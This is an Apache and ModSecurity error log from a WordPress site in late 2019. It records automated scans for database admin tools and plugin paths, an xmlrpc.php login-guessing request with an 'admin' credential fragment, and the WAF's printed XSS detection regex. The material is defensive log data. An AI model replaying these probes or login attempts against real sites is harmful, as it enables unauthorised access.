[Wed Nov 27 01:46:55.846459 2019] [ssl:error] [pid 8971] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:55.846502 2019] [ssl:error] [pid 8971] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:56.105563 2019] [ssl:error] [pid 8962] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 01:46:56.105607 2019] [ssl:error] [pid 8962] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Wed Nov 27 04:38:14.877173 2019] [proxy_fcgi:error] [pid 4850] [client 144.76.162.206:57540] AH01071: Got error 'Primary script unknown\n'
[Wed Nov 27 04:38:14.886529 2019] [proxy_fcgi:error] [pid 7702] [client 144.76.162.206:57536] AH01071: Got error 'Primary script unknown\n'
[Wed Nov 27 07:17:57.690702 2019] [authz_core:error] [pid 30091] [client 193.106.30.99:37816] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/LICENSE.php
[Thu Nov 28 17:52:19.245559 2019] [proxy_fcgi:error] [pid 3208] [client 134.175.183.168:51200] AH01071: Got error 'Primary script unknown\n'
[Fri Nov 29 03:43:54.375040 2019] [proxy_fcgi:error] [pid 436] [client 146.185.137.146:37626] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/_adminer.php
[Fri Nov 29 03:44:12.184034 2019] [proxy_fcgi:error] [pid 22215] [client 146.185.137.146:40516] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/ad.php
[Fri Nov 29 03:44:28.193834 2019] [proxy_fcgi:error] [pid 20632] [client 146.185.137.146:43170] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/adm.php
[Fri Nov 29 03:44:43.473419 2019] [proxy_fcgi:error] [pid 22238] [client 146.185.137.146:45078] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/adminer.php
[Fri Nov 29 03:44:53.223966 2019] [proxy_fcgi:error] [pid 353] [client 146.185.137.146:47670] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/db.php
[Fri Nov 29 03:45:08.902792 2019] [proxy_fcgi:error] [pid 6134] [client 146.185.137.146:50014] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/mysql.php
[Fri Nov 29 03:45:17.890592 2019] [proxy_fcgi:error] [pid 428] [client 146.185.137.146:51700] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/pma.php
[Fri Nov 29 03:45:30.042909 2019] [proxy_fcgi:error] [pid 353] [client 146.185.137.146:53474] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/wp-content/adminer.php
[Fri Nov 29 03:46:03.117737 2019] [proxy_fcgi:error] [pid 22238] [client 146.185.137.146:58930] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/wp-content/uploads/adminer.php
[Fri Nov 29 08:55:02.984800 2019] [:error] [pid 492] [client 80.82.64.209:62437] [client 80.82.64.209] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "258"] [id "33350147"] [rev "143"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potentially Untrusted Web Content Detected"] [data ""] [severity "CRITICAL"] Access denied with code 403 (phase 2). Match of "rx ((?:submit(?:\\\\+| )?(request)?(?:\\\\+| )?>+|<<(?:\\\\+| )remove|(?:sign ?in|log ?(?:in|out)|next|modifier|envoyer|add|continue|weiter|account|results|select)?(?:\\\\+| )?>+)$|^< ?\\\\??(?: |\\\\+)?xml|^<samlp|^>> ?$)" against "ARGS_NAMES:<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value><string>admin</string></value></param><param><value><string>!@#$%^" required. [hostname "fincasandoval.com"] [uri "/xmlrpc.php"] [unique_id "XeDO1oGRP-UvV1H1jeC7XwAAAA8"]
[Fri Nov 29 20:07:36.368072 2019] [proxy_fcgi:error] [pid 28905] [client 192.95.14.196:47716] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/_adminer.php
[Fri Nov 29 20:07:36.796351 2019] [proxy_fcgi:error] [pid 28905] [client 192.95.14.196:47716] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/_adminer.php
[Fri Nov 29 20:07:38.031619 2019] [proxy_fcgi:error] [pid 28613] [client 192.95.14.196:49298] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/ad.php
[Fri Nov 29 20:07:38.170863 2019] [proxy_fcgi:error] [pid 28613] [client 192.95.14.196:49298] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/ad.php
[Fri Nov 29 20:07:40.151270 2019] [proxy_fcgi:error] [pid 28615] [client 192.95.14.196:50736] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/adm.php
[Fri Nov 29 20:07:40.178224 2019] [proxy_fcgi:error] [pid 28592] [client 192.95.14.196:51032] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/adm.php
[Fri Nov 29 20:07:46.885697 2019] [proxy_fcgi:error] [pid 28957] [client 192.95.14.196:54852] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/adminer.php
[Fri Nov 29 20:07:47.410582 2019] [proxy_fcgi:error] [pid 28957] [client 192.95.14.196:54852] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/adminer.php
[Fri Nov 29 20:07:48.564918 2019] [proxy_fcgi:error] [pid 28957] [client 192.95.14.196:54852] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/db.php
[Fri Nov 29 20:07:49.238559 2019] [proxy_fcgi:error] [pid 28957] [client 192.95.14.196:54852] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/db.php
[Fri Nov 29 20:07:50.506427 2019] [proxy_fcgi:error] [pid 28957] [client 192.95.14.196:54852] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/mysql.php
[Fri Nov 29 20:07:51.353328 2019] [proxy_fcgi:error] [pid 28957] [client 192.95.14.196:54852] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/mysql.php
[Fri Nov 29 20:07:52.188171 2019] [proxy_fcgi:error] [pid 28957] [client 192.95.14.196:54852] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/pma.php
[Fri Nov 29 20:07:53.744987 2019] [proxy_fcgi:error] [pid 28957] [client 192.95.14.196:54852] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/pma.php
[Fri Nov 29 20:07:54.527483 2019] [proxy_fcgi:error] [pid 28957] [client 192.95.14.196:54852] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/wp-content/adminer.php
[Fri Nov 29 20:07:55.385693 2019] [proxy_fcgi:error] [pid 28957] [client 192.95.14.196:54852] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/wp-content/adminer.php
[Fri Nov 29 20:07:57.767036 2019] [proxy_fcgi:error] [pid 28957] [client 192.95.14.196:54852] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/wp-content/uploads/adminer.php
[Fri Nov 29 20:07:59.224059 2019] [proxy_fcgi:error] [pid 28957] [client 192.95.14.196:54852] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/wp-content/uploads/adminer.php
[Sat Nov 30 01:59:43.551005 2019] [proxy_fcgi:error] [pid 4476] [client 107.170.140.25:41321] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/_adminer.php
[Sat Nov 30 01:59:56.431431 2019] [proxy_fcgi:error] [pid 4479] [client 107.170.140.25:42806] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/ad.php
[Sat Nov 30 02:00:19.274740 2019] [proxy_fcgi:error] [pid 4469] [client 107.170.140.25:45077] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/adm.php
[Sat Nov 30 02:01:12.525655 2019] [proxy_fcgi:error] [pid 4474] [client 107.170.140.25:50909] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/adminer.php
[Sat Nov 30 02:01:46.989453 2019] [proxy_fcgi:error] [pid 4469] [client 107.170.140.25:54631] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/db.php
[Sat Nov 30 02:02:10.945806 2019] [proxy_fcgi:error] [pid 3625] [client 107.170.140.25:56946] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/mysql.php
[Sat Nov 30 02:02:45.286580 2019] [proxy_fcgi:error] [pid 4468] [client 107.170.140.25:60427] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/pma.php
[Sat Nov 30 02:03:23.225400 2019] [proxy_fcgi:error] [pid 4468] [client 107.170.140.25:35703] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/wp-content/adminer.php
[Sat Nov 30 02:04:21.998551 2019] [proxy_fcgi:error] [pid 4469] [client 107.170.140.25:41884] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/wp-content/uploads/adminer.php
[Sat Nov 30 02:44:40.994259 2019] [proxy_fcgi:error] [pid 8150] [client 47.105.197.245:48140] AH01071: Got error 'Primary script unknown\n'
[Sat Nov 30 19:18:29.697821 2019] [proxy_fcgi:error] [pid 3177] [client 39.99.169.152:44564] AH01071: Got error 'Primary script unknown\n'
[Sun Dec 01 02:20:33.529089 2019] [proxy_fcgi:error] [pid 14814] [client 193.106.30.99:50124] AH01071: Got error 'Primary script unknown\n'
[Sun Dec 01 08:12:53.399215 2019] [ssl:error] [pid 1793] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Dec 01 08:12:53.400525 2019] [ssl:error] [pid 1793] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Dec 01 08:12:56.700579 2019] [ssl:error] [pid 5943] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Dec 01 08:12:56.700625 2019] [ssl:error] [pid 5943] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Dec 01 08:12:59.445125 2019] [ssl:error] [pid 6485] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Dec 01 08:12:59.445182 2019] [ssl:error] [pid 6485] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Dec 01 08:13:02.731815 2019] [ssl:error] [pid 3001] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Dec 01 08:13:02.731883 2019] [ssl:error] [pid 3001] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Dec 01 08:13:05.612589 2019] [ssl:error] [pid 2992] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Dec 01 08:13:05.612632 2019] [ssl:error] [pid 2992] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Dec 01 08:13:08.535252 2019] [ssl:error] [pid 31047] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Dec 01 08:13:08.535299 2019] [ssl:error] [pid 31047] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Dec 01 08:13:10.976805 2019] [ssl:error] [pid 2938] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Dec 01 08:13:10.976851 2019] [ssl:error] [pid 2938] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Dec 01 08:13:13.704123 2019] [ssl:error] [pid 5974] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Dec 01 08:13:13.704177 2019] [ssl:error] [pid 5974] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Sun Dec 01 08:16:46.135037 2019] [proxy_fcgi:error] [pid 1793] [client 134.175.183.168:43964] AH01071: Got error 'Primary script unknown\n'
[Sun Dec 01 08:59:52.239410 2019] [autoindex:error] [pid 10807] [client 212.92.115.247:57208] AH01276: Cannot serve directory /var/www/vhosts/fincasandoval.com/httpdocs/test/: No matching DirectoryIndex (index.html,index.cgi,index.pl,index.php,index.xhtml,index.htm,index.shtml) found, and server-generated directory index forbidden by Options directive
[Sun Dec 01 12:34:46.287649 2019] [:error] [pid 32279] [client 209.209.232.5:34122] [client 209.209.232.5] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "225"] [id "33340003"] [rev "9"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: XSS attack in request headers"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Match of "rx (clientscript/yui/connection/javascript\\\\:false$)" against "REQUEST_HEADERS:Referer" required. [hostname "fincasandoval.com"] [uri "/"] [unique_id "XeOlVmbwRn6xp0NUrh29ewAAAAI"], referer: http://fincasandoval.com/
[Mon Dec 02 00:42:30.962102 2019] [ssl:error] [pid 12934] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Mon Dec 02 00:42:30.964947 2019] [ssl:error] [pid 12934] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Mon Dec 02 00:42:33.204525 2019] [ssl:error] [pid 13827] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Mon Dec 02 00:42:33.204570 2019] [ssl:error] [pid 13827] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Mon Dec 02 00:42:35.585299 2019] [ssl:error] [pid 13823] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Mon Dec 02 00:42:35.585346 2019] [ssl:error] [pid 13823] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Mon Dec 02 00:42:38.080842 2019] [ssl:error] [pid 13822] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Mon Dec 02 00:42:38.080891 2019] [ssl:error] [pid 13822] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Mon Dec 02 00:42:39.637736 2019] [ssl:error] [pid 13828] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Mon Dec 02 00:42:39.637782 2019] [ssl:error] [pid 13828] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Mon Dec 02 00:42:41.307301 2019] [ssl:error] [pid 13816] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Mon Dec 02 00:42:41.307344 2019] [ssl:error] [pid 13816] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Mon Dec 02 00:42:43.698351 2019] [ssl:error] [pid 12934] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Mon Dec 02 00:42:43.698396 2019] [ssl:error] [pid 12934] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Mon Dec 02 00:42:45.429572 2019] [ssl:error] [pid 12288] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Mon Dec 02 00:42:45.429616 2019] [ssl:error] [pid 12288] AH02032: Hostname f provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Mon Dec 02 12:15:45.786915 2019] [proxy_fcgi:error] [pid 16848] (70007)The timeout specified has expired: [client 137.226.113.28:59060] AH01075: Error dispatching request to :
[Mon Dec 02 18:50:09.075474 2019] [proxy_fcgi:error] [pid 14920] [client 193.106.30.99:50704] AH01071: Got error 'Primary script unknown\n'
[Mon Dec 02 21:37:50.088913 2019] [proxy_fcgi:error] [pid 5741] [client 138.68.28.46:41966] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/wp-admin/wp-hook-ajax.php
[Mon Dec 02 21:37:54.125423 2019] [proxy_fcgi:error] [pid 5655] [client 138.68.28.46:42502] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/wp-ajax-hook.php
[Mon Dec 02 21:37:57.916887 2019] [proxy_fcgi:error] [pid 5634] [client 138.68.28.46:43046] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/wp-hook-ajax.php
[Mon Dec 02 22:49:54.393437 2019] [ssl:error] [pid 15654] AH02032: Hostname www.fincasandoval.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Mon Dec 02 22:49:54.393587 2019] [ssl:error] [pid 15654] AH02032: Hostname www.fincasandoval.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Dec 03 10:12:11.632836 2019] [authz_core:error] [pid 6841] [client 109.70.100.29:35034] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/readme.html, referer: https://fincasandoval.com/readme.html
[Tue Dec 03 12:24:29.895766 2019] [proxy_fcgi:error] [pid 27598] [client 193.106.30.99:55436] AH01071: Got error 'Primary script unknown\n'
[Wed Dec 04 05:23:03.007460 2019] [authz_core:error] [pid 16523] [client 39.99.169.152:46924] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/license.php
[Wed Dec 04 06:59:45.065889 2019] [proxy_fcgi:error] [pid 25445] [client 163.172.119.161:50499] AH01071: Got error 'Primary script unknown\n'
[Wed Dec 04 17:17:42.461516 2019] [proxy_fcgi:error] [pid 19153] [client 193.106.30.99:34998] AH01071: Got error 'Primary script unknown\n'
[Fri Dec 06 11:06:05.630467 2019] [authz_core:error] [pid 15282] [client 193.106.30.99:58068] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/cache
[Fri Dec 06 17:52:03.482766 2019] [proxy_fcgi:error] [pid 2637] [client 193.70.2.138:59047] AH01071: Got error 'Primary script unknown\n', referer: fincasandoval.com
[Sun Dec 08 01:20:30.976713 2019] [proxy_fcgi:error] [pid 25941] [client 193.106.30.99:47816] AH01071: Got error 'Primary script unknown\n'
[Sun Dec 08 03:35:34.792496 2019] [authz_core:error] [pid 13618] [client 103.82.235.2:49682] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/uploadify, referer: http://www.google.com/
[Sun Dec 08 23:10:18.705804 2019] [proxy_fcgi:error] [pid 4679] [client 163.172.116.48:52767] AH01071: Got error 'Primary script unknown\n'
[Mon Dec 09 03:27:38.824586 2019] [:error] [pid 5968] [client 45.227.253.58:60408] [client 45.227.253.58] ModSecurity:  [file "/etc/httpd/conf/modsecurity.d/rules/tortix/modsec/50_plesk_basic_asl_rules.conf"] [line "250"] [id "33340147"] [rev "134"] [msg "Protected by Atomicorp.com Basic Non-Realtime WAF Rules: Potential Cross Site Scripting Attack"] [data "<script"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:< ?script|(?:<|< ?/)(?:(?:java|vb)script|about|applet|activex|chrome)|< ?/?i?frame|\\\\%env)" at REQUEST_URI. [hostname "fincasandoval.com"] [uri "/wp-content/uploads/2014/11/fs-1.jpg"] [unique_id "Xe2xGgwEFtKuC3QIqlalbwAAAAA"]
[Mon Dec 09 12:04:34.451086 2019] [authz_core:error] [pid 13128] [client 49.234.7.207:45964] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/license.php
[Mon Dec 09 20:20:10.891663 2019] [ssl:error] [pid 19429] AH02032: Hostname www.fincasandoval.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Mon Dec 09 20:20:10.892858 2019] [ssl:error] [pid 19429] AH02032: Hostname www.fincasandoval.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Dec 10 01:42:45.965108 2019] [proxy_fcgi:error] [pid 31391] [client 177.75.21.139:63277] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentynineteen/404.php:12\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentynineteen/404.php on line 12\n'
[Tue Dec 10 07:16:38.051976 2019] [proxy_fcgi:error] [pid 28416] [client 193.106.30.99:56586] AH01071: Got error 'Primary script unknown\n'
[Tue Dec 10 07:55:13.268817 2019] [proxy_fcgi:error] [pid 1461] [client 178.128.151.69:45120] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_template_directory() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentynineteen/functions.php:16\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentynineteen/functions.php on line 16\n', referer: fincasandoval.com
[Tue Dec 10 07:58:14.532326 2019] [proxy_fcgi:error] [pid 1372] [client 178.128.151.69:34556] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_template_directory() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentysixteen/functions.php:32\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentysixteen/functions.php on line 32\n', referer: fincasandoval.com
[Tue Dec 10 08:06:31.524297 2019] [proxy_fcgi:error] [pid 2218] [client 178.128.151.69:54948] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_template_directory() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentyseventeen/functions.php:16\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentyseventeen/functions.php on line 16\n', referer: fincasandoval.com
[Tue Dec 10 18:49:31.931377 2019] [proxy_fcgi:error] [pid 8017] [client 193.106.30.99:49082] AH01071: Got error 'Primary script unknown\n'
[Tue Dec 10 19:15:26.986900 2019] [proxy_fcgi:error] [pid 11017] [client 177.75.21.139:57512] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentyseventeen/404.php:13\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentyseventeen/404.php on line 13\n'
[Wed Dec 11 08:28:52.563762 2019] [proxy_fcgi:error] [pid 5058] [client 149.202.139.17:38142] AH01071: Got error 'Primary script unknown\n'
[Wed Dec 11 17:06:01.661563 2019] [authz_core:error] [pid 21768] [client 84.17.47.156:54573] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/wysija-newsletters
[Wed Dec 11 20:00:48.359556 2019] [proxy_fcgi:error] [pid 15171] [client 177.75.21.139:62710] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentysixteen/404.php:10\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentysixteen/404.php on line 10\n'
[Thu Dec 12 02:25:49.055271 2019] [proxy_fcgi:error] [pid 3745] [client 177.75.21.139:58042] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentynineteen/404.php:12\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentynineteen/404.php on line 12\n'
[Thu Dec 12 07:56:37.102424 2019] [authz_core:error] [pid 32063] [client 193.106.30.99:34858] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-includes/LICENSE.php
[Thu Dec 12 20:11:04.850289 2019] [proxy_fcgi:error] [pid 19214] [client 177.75.21.139:53070] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentyseventeen/404.php:13\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentyseventeen/404.php on line 13\n'
[Fri Dec 13 02:05:53.171022 2019] [proxy_fcgi:error] [pid 845] [client 193.106.30.99:41084] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_template_directory() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentyseventeen/functions.php:16\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentyseventeen/functions.php on line 16\n'
[Fri Dec 13 03:57:22.480126 2019] [proxy_fcgi:error] [pid 21490] [client 177.75.21.139:56937] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentysixteen/404.php:10\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/twentysixteen/404.php on line 10\n'
[Fri Dec 13 04:24:49.802034 2019] [proxy_fcgi:error] [pid 21677] (70007)The timeout specified has expired: [client 220.156.171.118:33200] AH01075: Error dispatching request to :, referer: http://fincasandoval.com/wp-login.php
[Fri Dec 13 10:09:48.018506 2019] [ssl:error] [pid 22533] AH02032: Hostname rmdp.biz provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Dec 13 10:09:48.034108 2019] [ssl:error] [pid 22533] AH02032: Hostname rmdp.biz provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Fri Dec 13 15:52:42.139797 2019] [proxy_fcgi:error] [pid 12746] [client 163.44.207.54:42082] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/searchreplacedb2.php
[Fri Dec 13 15:52:49.850714 2019] [proxy_fcgi:error] [pid 13014] [client 31.207.33.10:49096] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/searchreplacedb2.php
[Fri Dec 13 18:18:42.750089 2019] [proxy_fcgi:error] [pid 2351] [client 159.203.86.82:33975] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/searchreplacedb2.php
[Fri Dec 13 23:22:52.454075 2019] [proxy_fcgi:error] [pid 5360] [client 149.202.139.17:36186] AH01071: Got error 'Primary script unknown\n'
[Sat Dec 14 02:59:54.823824 2019] [authz_core:error] [pid 32455] [client 193.106.30.99:35194] AH01630: client denied by server configuration: /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/plugins/akismet/akismet.php
[Sat Dec 14 03:09:57.538835 2019] [proxy_fcgi:error] [pid 1855] [client 108.61.196.80:48732] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/searchreplacedb2.php
[Sat Dec 14 03:10:00.299371 2019] [proxy_fcgi:error] [pid 1834] [client 108.61.196.80:49032] AH01071: Got error 'Primary script unknown\n', referer: http://fincasandoval.com/searchreplacedb2.php
[Sat Dec 14 06:30:16.564356 2019] [proxy_fcgi:error] [pid 30406] [client 163.172.119.161:50860] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/404.php:9\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/404.php on line 9\n'
[Sat Dec 14 10:13:55.112640 2019] [proxy_fcgi:error] [pid 6451] [client 149.202.139.17:57740] AH01071: Got error 'Primary script unknown\n'
[Sat Dec 14 17:51:40.015200 2019] [proxy_fcgi:error] [pid 30142] [client 149.202.139.17:40644] AH01071: Got error 'Primary script unknown\n'
[Sun Dec 15 10:43:49.719484 2019] [proxy_fcgi:error] [pid 8367] [client 149.202.139.17:49656] AH01071: Got error 'Primary script unknown\n'
[Sun Dec 15 18:47:32.455124 2019] [proxy_fcgi:error] [pid 32403] [client 149.202.139.17:38672] AH01071: Got error 'Primary script unknown\n'
[Sun Dec 15 20:48:38.050302 2019] [proxy_fcgi:error] [pid 15515] [client 193.106.30.99:34386] AH01071: Got error 'Primary script unknown\n'
[Mon Dec 16 06:43:59.240815 2019] [proxy_fcgi:error] [pid 16196] [client 163.172.119.161:61015] AH01071: Got error 'PHP message: PHP Fatal error:  Uncaught Error: Call to undefined function get_header() in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/404.php:9\nStack trace:\n#0 {main}\n  thrown in /var/www/vhosts/fincasandoval.com/httpdocs/wp-content/themes/book-lite/404.php on line 9\n'
[Mon Dec 16 10:57:45.690531 2019] [proxy_fcgi:error] [pid 18418] [client 149.202.139.17:52852] AH01071: Got error 'Primary script unknown\n'
[Mon Dec 16 22:30:43.327888 2019] [proxy_fcgi:error] [pid 28345] [client 114.35.98.213:33932] AH01071: Got error 'Primary script unknown\n', referer: fincasandoval.com
[Tue Dec 17 04:48:59.608321 2019] [ssl:error] [pid 21856] AH02032: Hostname www.fincasandoval.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Dec 17 04:48:59.609788 2019] [ssl:error] [pid 21856] AH02032: Hostname www.fincasandoval.com provided via SNI and hostname fincasandoval.com provided via HTTP are different
[Tue Dec 17 10:34:06.028975 2019] [proxy_fcgi:error] [pid 10175] [client 193.106.30.99:46912] AH01071: Got error 'Primary script unknown\n'
[Tue Dec 17 22:37:53.822338 2019] [proxy_fcgi:error] [pid 25547] [client 193.106.30.99:34294] AH01071: Got error 'Primary script unknown\n'
[Wed Dec 18 12:58:46.704727 2019] [proxy_fcgi:error] [pid 31816] [client 118.25.20.217:47602] AH01071: Got error 'Primary script unknown\n'
